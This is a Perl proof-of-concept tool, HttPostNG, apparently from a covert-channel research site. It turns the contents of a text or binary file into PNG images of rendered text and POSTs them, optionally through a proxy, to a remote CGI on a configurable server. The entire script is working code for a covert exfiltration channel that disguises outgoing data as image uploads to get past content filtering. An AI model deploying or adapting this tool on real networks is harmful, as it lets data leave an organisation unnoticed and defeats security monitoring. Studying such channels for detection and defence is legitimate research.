#!/usr/bin/perl -T

###############################################################################
# HttPostNG - v0.3 - Simon - /09/05
# http://gray-world.net/poc_httpostng.shtml
###############################################################################

BEGIN { $ENV{PATH} = '/usr/bin:/bin' }
delete @ENV{qw(IFS CDPATH ENV BASH_ENV)};

############
### USES ###
############

use warnings;
use strict;
use GD;
use LWP::UserAgent;

############
### VARS ###
############

my $PROGNAME="httpostng";
my $PROGVERSION="0.3";

my $SERVER="ip address or fqdn";
my $PORT="port";
my $CGI="httpostng/httpostng.cgi";
my $CODE="grayworld";
my $USE_PROXY=0;
my $PROXY_IP="ip address or fqdn";
my $PROXY_PORT="port";

my $TXTIN="README";		# name of the text file to convert
my $IMOUT="README";     	# name of image(s)
my $IMGONLY="";     		# only write the images without sending.
my $IMG_W=500;			# image width
my $IMG_H=400;          	# image height
my $IMG_I=10;			# line interspace (10 is ok for txt only, 30 is ok for dict.)
my $IMG_C=80;			# alignment on $IMG_C charachters (80 is quite ok)

my $STARTGET=1;         	# Do one GET before POSTs

my $BINFILE=0;

### Dictionary function

my $USE_DICT=0;

# Width and Height of image to use to replace a dictionary keyword. If the image is
# larger, then it's truncated from x=0,y=0. If it's smaller, then bgcolor is black...
my $DICT_orig_w=50;
my $DICT_orig_h=40;

# Width and Height of the icon that'll be added to image. It's good to have it match
# less than the interline space so that alignment fits well.
my $DICT_icon_w=$IMG_I;
my $DICT_icon_h=$IMG_I;

# Dictionary (please, 5 letters words minimal to render well)
my %DICT = ( 
	"Drink me," 	=> "dict/drinkme.png",
	"poker" 	=> "dict/poker.png",
	"bottle"	=> "dict/bottle.png",
	"Alice"		=> "dict/alice.png");

### /Dictionary function

#################
### FUNCTIONS ###
#################

sub prepare_img() {
    my $img = GD::Image->new($IMG_W,$IMG_H);
    my $white = $img->colorAllocate(255,255,255);
    my $black = $img->colorAllocate(0,0,0);
    my $red = $img->colorAllocate(255,0,0);
    $img->transparent($white);
    $img->interlaced('true');
    $img->rectangle(0,0,$IMG_W-1,$IMG_H-1,$black);
    return ($img,$white,$black,$red);
}

sub add_to_image(@) {
  my ($img, $x, $y, $line, $color) = @_;

  if ($USE_DICT==1) { $img = dict_img($img,$x,$y,$line,$color); }
  else { $img->string(gdSmallFont,$x,$y,$line,$color); }

  return ($img); 
}

sub write_img(@) {
  my ($filename, $data) = @_;
  $filename =~ s/(.*)$IMOUT(.*)/$1$IMGONLY$2/;
  open IO, ">$filename" or return (-1);
  binmode IO; print IO $data; close IO;
  return ("gw");
}

sub post_img(@) {
  my ($filename, $data) = @_;

  return (write_img($filename,$data)) if ($IMGONLY);

  # http://www.google.fr/search?hl=fr&q=free+image+upload&btnG=Recherche+Google&meta= ;)

  my $ua = LWP::UserAgent->new;
  $ua->agent("$PROGNAME/$PROGVERSION ");
  $ua->proxy('http','http://'.$PROXY_IP.':'.$PROXY_PORT.'/') if ($USE_PROXY == 1);
  my $res = $ua->post('http://'.$SERVER.':'.$PORT.'/'.$CGI,
  		Content_Type => 'form-data',
		Content      => 
		[ code	=> $CODE, filename => [ undef, $filename, Content => $data ] ]);

  if ($res->is_success) { return ("gw"); } # print $res->content;
  else { return (-1); }
}

sub basic_get() {
  my $ua = LWP::UserAgent->new;
  $ua->agent("$PROGNAME/$PROGVERSION ");
  $ua->proxy('http','http://'.$PROXY_IP.':'.$PROXY_PORT.'/') if ($USE_PROXY == 1);
  my $res = $ua->get('http://'.$SERVER.':'.$PORT.'/'.$CGI);
  if ($res->is_success) { return ("gw"); }
  else { return (-1); }
}

sub dict_img(@) {
  my ($img, $x, $y, $line,$color) = @_;

  for my $key (keys %DICT) {
    if (-f $DICT{$key}) { # if the file exists
      if ($line =~ /$key/) {
        # lookin where to put the icon (6 is from test and try to align with gdSmallFont)
        my $pos = index ($line,$key); $pos += (length($key)/6); $pos*=6;
        my $test = GD::Image->newFromPng($DICT{$key});
        $img->copyResized($test,$pos,$y,0,0,$DICT_icon_w,$DICT_icon_h,$DICT_orig_w,$DICT_orig_h);
        print STDERR "DICT($key)...\n";
	# replacing the word with empty spaces
	$line =~ s/($key)/' ' x length($&)/egm;
      }
    }
  }
  $img->string(gdSmallFont,$x,$y,$line,$color); 
  return ($img);
}

sub fn_bin_to_hex($) { unpack ("H*",shift); }

############
### MAIN ###
############

open TXT, "$TXTIN" or die "Failed to open input $TXTIN: $!\n";
binmode TXT if ($BINFILE == 1);

# Begin with an HTTP GET on the remote CGI
if (!$IMGONLY && $STARTGET != 0) {
  if (!basic_get()) {
    print "Failed to connect for first GET. Quitting...\n";
    close TXT; exit;
  } else { print STDERR "Sending a first GET...\n"; }
}

my ($img,$white,$black,$red) = prepare_img();
my $imgnum=0; my $count=2;

while (<TXT>) {
    $_ = fn_bin_to_hex($_) if ($BINFILE == 1);
    $_ =~ s/\t/     /g;
    if ($count > $IMG_H-$IMG_I) {
        if (!post_img("$IMOUT-$imgnum.png",$img->png)) {
          print STDERR "$IMOUT-$imgnum.png upload failed. Quitting...\n";
	  close TXT; exit;
	}
	print STDERR "#$imgnum uploaded...\n";
	($img,$white,$black,$red) = prepare_img();
	$imgnum++; $count=2;
    }
    chomp;
    my $line = $_;
    while (length($line) > $IMG_C) {
	my $go = substr($line,0,$IMG_C);
	$line = substr($line,$IMG_C,length($line));
	$img = add_to_image($img,2,$count,$go,$black);
	$img->string(gdMediumBoldFont,$IMG_W-15,$count,"\\",$red);
	$count+=$IMG_I;
	if ($count > $IMG_H-$IMG_I) {
          if (!post_img("$IMOUT-$imgnum.png",$img->png)) {
            print STDERR "$IMOUT-$imgnum.png upload failed. Quitting...\n";
            close TXT; exit;
          }
	  print STDERR "#$imgnum uploaded...\n";
	  ($img,$white,$black,$red) = prepare_img();
	  $imgnum++; $count=2;
	}
    }
    $img = add_to_image($img,2,$count,$line,$black);
    $count+=$IMG_I;
}

if (!post_img("$IMOUT-$imgnum.png",$img->png)) {
  print STDERR "$IMOUT-$imgnum.png upload failed. Quitting...\n";
  close TXT; exit;
}
print STDERR "#$imgnum uploaded...\n";

close TXT;
